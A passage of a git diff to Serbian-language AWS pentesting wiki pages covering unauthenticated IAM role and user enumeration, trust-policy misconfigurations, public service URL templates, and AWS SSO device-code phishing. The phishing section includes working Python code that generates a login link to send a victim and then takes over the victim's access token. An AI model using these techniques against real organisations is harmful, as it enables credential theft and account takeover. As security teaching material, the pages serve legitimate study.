occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -Zanimljivo je da je ova metoda **razlikovanja između postojećih i nepostojećih uloga** primenljiva čak i između različitih AWS naloga. Sa važećim AWS ID-jem naloga i ciljanom listom reči, može se enumerisati uloge prisutne u nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima. - -Možete koristiti ovaj [script za enumeraciju potencijalnih principala](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) zloupotrebljavajući ovaj problem. - -### Politike poverenja: Brute-Force Cross Account uloge i korisnici - -Konfigurisanje ili ažuriranje **politike poverenja IAM uloge uključuje definisanje koji AWS resursi ili usluge su dozvoljeni da preuzmu tu ulogu** i dobiju privremene akreditive. Ako navedeni resurs u politici **postoji**, politika poverenja se **uspešno** čuva. Međutim, ako resurs **ne postoji**, **javlja se greška**, koja ukazuje na to da je pružen nevažeći principal. - -> [!WARNING] -> Imajte na umu da u tom resursu možete navesti cross account ulogu ili korisnika: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -Ovo je primer politike: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -To je **greška** koju ćete pronaći ako koristite **ulogu koja ne postoji**. Ako uloga **postoji**, politika će biti **sačuvana** bez grešaka. (Greška se odnosi na ažuriranje, ali takođe funkcioniše i prilikom kreiranja) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -Možete automatizovati ovaj proces sa [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -Naš korišćenje [Pacu](https://github.com/RhinoSecurityLabs/pacu): - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Uloga `admin` korišćena u primeru je **uloga u vašem nalogu koja će biti imitirana** od strane pacu da kreira politike koje su mu potrebne za enumeraciju - -### Privesc - -U slučaju da je uloga loše konfigurisana i omogućava bilo kome da je preuzme: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Napadač bi mogao samo da pretpostavi to. - -## Treća strana OIDC federacija - -Zamislite da ste uspeli da pročitate **Github Actions workflow** koji pristupa **rolu** unutar **AWS**.\ -Ova poverenja može omogućiti pristup roli sa sledećom **politikom poverenja**: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -Ova politika poverenja može biti tačna, ali **nedostatak više uslova** treba da vas navede da joj ne verujete.\ -To je zato što prethodnu ulogu može preuzeti **BILO KO sa Github Actions**! Trebalo bi da navedete u uslovima i druge stvari kao što su naziv organizacije, naziv repozitorijuma, okruženje, grana... - -Još jedna potencijalna pogrešna konfiguracija je da **dodate uslov** kao što je sledeći: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -Napomena da **wildcard** (\*) pre **dvojne tačke** (:). Možete kreirati organizaciju kao što je **org_name1** i **pretpostaviti ulogu** iz Github akcije. - -## Reference - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..dedee4fbf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS Enumeracija bez autentifikacije + +{{#include ../../../../banners/hacktricks-training.md}} + +## Enumeracija rola i korisničkih imena u nalogu + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **Ova tehnika više ne radi** — bez obzira da li role postoji ili ne, uvek dobijate ovu grešku: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> Možete ovo **testirati pokretanjem**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +Pokušaj da se **preuzme role bez neophodnih dozvola** pokreće AWS poruku o grešci. Na primer, ako nije autorizovan, AWS može vratiti: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +Ova poruka potvrđuje postojanje role, ali ukazuje da njena assume role policy ne dozvoljava vaše preuzimanje. Nasuprot tome, pokušaj da **preuzmete nepostojeću rolu dovodi do drugačije greške**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +Zanimljivo je da je ova metoda za **razlikovanje postojećih i nepostojećih role** primenjiva čak i između različitih AWS naloga. Sa važećim AWS account ID-jem i ciljanim wordlist-om, moguće je enumerisati role prisutne na nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima. + +You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. + +### Trust Policies: Brute-Force Cross Account roles and users + +Konfigurisanje ili ažuriranje **IAM role's trust policy** podrazumeva definisanje koje AWS resources ili services imaju dozvolu da assume that role i dobiju temporary credentials. Ako specificirani resource u policy-ju **postoji**, trust policy se **uspešno** sačuva. Međutim, ako resource **ne postoji**, biće generisana **greška** koja ukazuje da je naveden nevažeći principal. + +> [!WARNING] +> Imajte na umu da u tom resource-u možete navesti cross account role ili user: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +Ovo je primer policy-ja: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### GUI + +To je **greška** koju ćete dobiti ako koristite **ulogu koja ne postoji**. Ako uloga **postoji**, politika će biti **sačuvana** bez grešaka. (Greška se javlja kod ažuriranja, ali važi i prilikom kreiranja) + +![](<../../../images/image (153).png>) + +#### CLI +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +Možete automatizovati ovaj proces koristeći [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +Ili koristeći [Pacu](https://github.com/RhinoSecurityLabs/pacu): + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- U primeru korišćena `admin` role je **rola u vašem nalogu koju pacu impersonira** da bi kreirao politike koje su mu potrebne za enumeraciju + +### Privesc + +U slučaju da je rola pogrešno konfigurisana i dozvoljava bilo kome da je preuzme: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Napadač bi ga mogao jednostavno preuzeti. + +## Federacija OIDC treće strane + +Zamislite da uspete da pročitate **Github Actions workflow** koji pristupa **role** unutar **AWS**.\ +Ovo poverenje može dati pristup role sa sledećom **trust policy**: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +Ova politika poverenja može biti ispravna, ali **nedostatak dodatnih uslova** treba da vam izazove nepoverenje.\ +To je zato što prethodnu ulogu može preuzeti **BILO KO sa Github Actions**! Trebalo bi u uslovima da navedete i druge stvari kao što su ime organizacije, ime repozitorijuma, env, branch... + +Još jedna potencijalna pogrešna konfiguracija je da se **doda uslov** kao što sledi: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +Imajte na umu da **wildcard** (\*) stoji pre **colon** (:). Možete kreirati org kao **org_name1** i **assume the role** iz Github Action. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md index aca0b1736..99460acc0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md @@ -1,33 +1,33 @@ # AWS - Identity Center & SSO Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Device Code Phishing -Prvobitno predloženo u [**ovom blog postu**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), moguće je poslati **link** korisniku koji koristi AWS SSO, koji ako **korisnik prihvati**, napadač će moći da dobije **token za impersonaciju korisnika** i pristup svim rolama kojima korisnik može da pristupi u **Identity Center**. +Prvobitno predloženo u [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), moguće je poslati **link** korisniku koji koristi AWS SSO koji, ako ga **korisnik prihvati**, napadač će moći da dobije **token za impersonaciju korisnika** i pristupi svim rolama kojima korisnik ima pristup u **Identity Center**. -Da bi se izveo ovaj napad, zahtevi su: +Da bi se izveo ovaj napad, neophodni uslovi su: -- Žrtva mora koristiti **Identity Center** -- Napadač mora znati **subdomen** koji koristi žrtva `.awsapps.com/start` +- Žrtva mora da koristi **Identity Center** +- Napadač mora da zna **subdomen** koji koristi žrtva `.awsapps.com/start` -Samo sa prethodnim informacijama, **napadač će moći da pošalje link korisniku** koji, ako bude **prihvaćen**, omogućava **napadaču pristup AWS korisničkom** nalogu. +Samo sa tim informacijama, **napadač može poslati link korisniku** koji, ako ga **korisnik prihvati**, omogućava **napadaču pristup AWS korisničkom nalogu**. -### Attack +### Napad -1. **Finding the subdomain** +1. **Pronalaženje subdomena** -Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. Ovo se može uraditi putem **OSINT** ili **pogađanja + BF**, jer većina kompanija koristi svoje ime ili varijaciju svog imena ovde. +Prvi korak napadača je da otkrije subdomen koji kompanija žrtva koristi u svom Identity Center. To se može uraditi putem **OSINT** ili putem **guessing + BF**, jer većina kompanija ovde koristi svoje ime ili neku varijaciju istog. -Sa ovom informacijom, moguće je dobiti region u kojem je Identity Center konfigurisan: +Sa tim informacijama, moguće je dobiti region u kojem je Identity Center konfigurisan: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` -2. **Generišite link za žrtvu i pošaljite ga** +2. **Generiši link za victim & Pošalji ga** -Pokrenite sledeći kod da generišete AWS SSO login link kako bi žrtva mogla da se autentifikuje.\ -Za demo, pokrenite ovaj kod u python konzoli i ne izlazite iz nje jer će vam kasnije biti potrebni neki objekti za dobijanje tokena: +Pokreni sledeći kod da generiše AWS SSO link za prijavu tako da victim može da se autentifikuje.\ +Za demo, pokreni ovaj kod u python konzoli i nemoj je zatvarati, jer će ti kasnije trebati neki objekti da dobiješ token: ```python import boto3 @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -Pošaljite generisanu vezu žrtvi koristeći svoje sjajne veštine socijalnog inženjeringa! +Pošaljite generisani link žrtvi koristeći svoje sjajne social engineering veštine! -3. **Sačekajte da žrtva prihvati** +3. **Sačekajte dok žrtva ne prihvati** -Ako je žrtva **već bila prijavljena na AWS**, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da se **prijavi i zatim prihvati dodeljivanje dozvola**.\ -Ovako izgleda promp danas: +Ako je žrtva bila **već prijavljena na AWS** biće potrebno samo da prihvati dodeljivanje dozvola, ako nije, moraće da se **prijavi i potom prihvati dodeljivanje dozvola**.\ +Ovako izgleda prompt danas:
-4. **Dobijte SSO pristupni token** +4. **Dobijte SSO access token** -Ako je žrtva prihvatila promp, pokrenite ovaj kod da **generišete SSO token imitujući korisnika**: +Ako je žrtva prihvatila prompt, pokrenite ovaj kod da biste **generisali SSO token koji se predstavlja kao korisnik**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,9 +73,9 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -SSO pristupni token je **važeći 8h**. +SSO access token je **važeći 8h**. -5. **Imitirati korisnika** +5. **Lažno predstavljanje korisnika** ```python sso_client = boto3.client('sso', region_name=REGION) @@ -104,20 +104,20 @@ sts_creds.get('roleCredentials') ``` ### Phishing the unphisable MFA -Zanimljivo je znati da prethodni napad **radi čak i ako se koristi "unphisable MFA" (webAuth)**. To je zato što prethodni **tok rada nikada ne napušta korišćeni OAuth domen**. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da **kod poznaje uređaj** i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo **znajući inicijalni kod**, će moći da **dobije akreditive** za korisnika. +Zanimljivo je znati da prethodni napad **radi čak i ako se koristi "unphisable MFA" (webAuth)**. To je zato što prethodni **workflow nikada ne napušta korišćeni OAuth domain**. Za razliku od drugih phishing napada gde korisnik mora da zameni login domain, u ovom slučaju device code workflow je pripremljen tako da je **code poznat uređaju** i korisnik se može login čak i na drugom računaru. Ako se prompt prihvati, uređaj, samo **znajući početni code**, biće u stanju da **retrieve credentials** za korisnika. -Za više informacija o ovome [**proverite ovaj post**](https://mjg59.dreamwidth.org/62175.html). +Za više informacija o tome [**pogledajte ovaj post**](https://mjg59.dreamwidth.org/62175.html). -### Automatic Tools +### Automatski alati - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## References +## Reference - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) - [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html) - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md index c60a67b28..960ff63f3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ -# AWS - IoT Neautentifikovana Enum +# AWS - IoT Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Javni URL šablon ``` @@ -8,4 +8,4 @@ mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md deleted file mode 100644 index b7a2a5e1f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Kinesis Video Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni URL šablon -``` -https://{random_id}.kinesisvideo.{region}.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md new file mode 100644 index 000000000..a0e630ff5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Kinesis Video Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Šablon javnog URL-a +``` +https://{random_id}.kinesisvideo.{region}.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md deleted file mode 100644 index adbdcede0..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - Lambda Neautentifikovani Pristup - -{{#include ../../../banners/hacktricks-training.md}} - -## Javni URL Funkcije - -Moguće je povezati **Lambda** sa **javnim URL-om funkcije** koji može da bude dostupan svima. Može sadržati web ranjivosti. - -### Šablon javnog URL-a -``` -https://{random_id}.lambda-url.{region}.on.aws/ -``` -### Dobijanje ID-a naloga sa javnog Lambda URL-a - -Baš kao i sa S3 kanticama, Data Exchange i API prolazima, moguće je pronaći ID naloga koristeći **`aws:ResourceAccount`** **Policy Condition Key** iz javnog lambda URL-a. To se postiže pronalaženjem ID-a naloga jedan po jedan karakter koristeći džokere u **`aws:ResourceAccount`** sekciji politike.\ -Ova tehnika takođe omogućava dobijanje **vrednosti oznaka** ako znate ključ oznake (ima nekoliko podrazumevanih zanimljivih). - -Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md new file mode 100644 index 000000000..35a9cc79e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md @@ -0,0 +1,20 @@ +# AWS - Lambda Neautentifikovan pristup + +{{#include ../../../../banners/hacktricks-training.md}} + +## Javni URL funkcije + +Moguće je povezati **Lambda** sa **javnim URL-om funkcije** kojem svako može pristupiti. Može sadržati web ranjivosti. + +### Šablon javnog URL-a +``` +https://{random_id}.lambda-url.{region}.on.aws/ +``` +### Dobijanje ID naloga sa javnog Lambda URL-a + +Baš kao i kod S3 buckets, Data Exchange i API gateways, moguće je pronaći ID naloga zloupotrebom **`aws:ResourceAccount`** **Policy Condition Key** sa javnog Lambda URL-a. To se radi pronalaženjem ID-a naloga po jednom znaku koristeći wildcards u sekciji **`aws:ResourceAccount`** u policy-ju.\ +Ova tehnika takođe omogućava dobijanje **vrednosti tagova** ako znate ključ taga (postoje neki podrazumevani, zanimljivi). + +Više informacija možete pronaći u [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i u alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md similarity index 70% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md index 6a80b7475..cf647e780 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md @@ -1,6 +1,6 @@ # AWS - Media Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Javni URL šablon ``` @@ -8,4 +8,4 @@ https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md deleted file mode 100644 index 8bacc889a..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ /dev/null @@ -1,20 +0,0 @@ -# AWS - MQ Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Javni Port - -### **RabbitMQ** - -U slučaju **RabbitMQ**, po **defaultu je omogućen javni pristup** i ssl. Ali su vam potrebne **akreditivi** za pristup (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Štaviše, moguće je **pristupiti web menadžment konzoli** ako znate akreditive u `https://b-.mq.us-east-1.amazonaws.com/` - -### ActiveMQ - -U slučaju **ActiveMQ**, po defaultu je omogućen javni pristup i ssl, ali su vam potrebni akreditivi za pristup. - -### Javni URL šablon -``` -https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ -ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md new file mode 100644 index 000000000..da7dbda88 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md @@ -0,0 +1,20 @@ +# AWS - MQ Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Javni port + +### **RabbitMQ** + +U slučaju **RabbitMQ**, po podrazumevanoj postavci su omogućeni javni pristup i ssl. Ali su za pristup potrebni **credentials** (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Pored toga, moguće je **pristupiti web management konzoli** ako znate credentials na `https://b-.mq.us-east-1.amazonaws.com/` + +### ActiveMQ + +U slučaju **ActiveMQ**, podrazumevano su omogućeni javni pristup i ssl, ali su za pristup potrebni credentials. + +### Šablon javnog URL-a +``` +https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ +ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md deleted file mode 100644 index 565c7cf4a..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - MSK Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni Port - -Moguće je **izložiti Kafka broker javnosti**, ali će vam biti potrebni **akreditivi**, IAM dozvole ili važeći sertifikat (u zavisnosti od metode autentifikacije koja je konfigurisana). - -Takođe je **moguće onemogućiti autentifikaciju**, ali u tom slučaju **nije moguće direktno izložiti** port internetu. - -### Šablon javnog URL-a -``` -b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com -{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md new file mode 100644 index 000000000..215925bcf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md @@ -0,0 +1,16 @@ +# AWS - MSK Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Javni port + +Moguće je **izložiti Kafka broker javnosti**, ali će vam trebati **credentials**, IAM permissions ili validan certificate (u zavisnosti od konfigurisanog auth method). + +Takođe je **moguće onemogućiti authentication**, ali u tom slučaju **nije moguće direktno izložiti** port Internetu. + +### Šablon javnog URL-a +``` +b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com +{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md index 2b0ac01c4..1b077f025 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md @@ -1,22 +1,22 @@ -# AWS - RDS Neautentifikovana Enumeracija +# AWS - RDS Unauthenticated Enum -{{#include 